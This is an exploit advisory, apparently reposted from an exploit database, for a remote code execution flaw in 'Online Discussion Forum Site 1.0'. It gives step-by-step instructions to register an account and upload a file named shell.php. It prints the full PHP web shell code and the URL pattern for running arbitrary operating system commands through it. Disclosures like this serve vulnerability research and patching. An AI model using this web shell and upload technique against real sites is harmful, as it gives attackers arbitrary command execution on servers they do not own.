Online Discussion Forum Site 1.0 – Remote Code Execution - 体验盒子

作者： Enesdex

日期： 2020-05-25

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# Exploit Title: Online Discussion Forum Site 1.0 - Remote Code Execution

# Google Dork: N/A

# Date: 2020-05-24

# Exploit Author: Selim Enes 'Enesdex' Karaduman

# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-forum-site.html

# Software Link: https://www.sourcecodester.com/download-code?nid=14233&title=Online+Discussion+Forum+Site

# Version: 1.0 (REQUIRED)

# Tested on: Windows 10 / Wamp Server

# CVE : N/A

Go to http://localhost/Online%20Discussion%20Forum%20Site/register.php register page to sign up

Then fill other fields and upload the shell.php with following PHP-shell-code

<?php

$command = shell_exec($_REQUEST['cmd']);

echo $command;

?>

After the registration process is completed go to the following page and execute the os command via uploaded shell

http://localhost/Online%20Discussion%20Forum%20Site/ups/shell.php?cmd=$THECODE-YOU-WANT-TO-EXECUTE

Any unauthenticated attacker is able to execute arbitrary os command